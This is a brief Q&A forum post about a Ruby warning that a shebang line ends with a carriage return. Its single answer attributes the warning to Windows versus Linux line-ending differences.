ERROR
ruby: warning: shebang line ending with \r may cause problems

Answer 1

Did you write the code on a different OS than the one that you try to run it on? Because I think that Windows uses something like \r\n internally to mark a line break, whereas Linux only uses \n (maybe it is the other way round, I'm not sure). That might explain why there is a warning about a \r that actually isn't there...
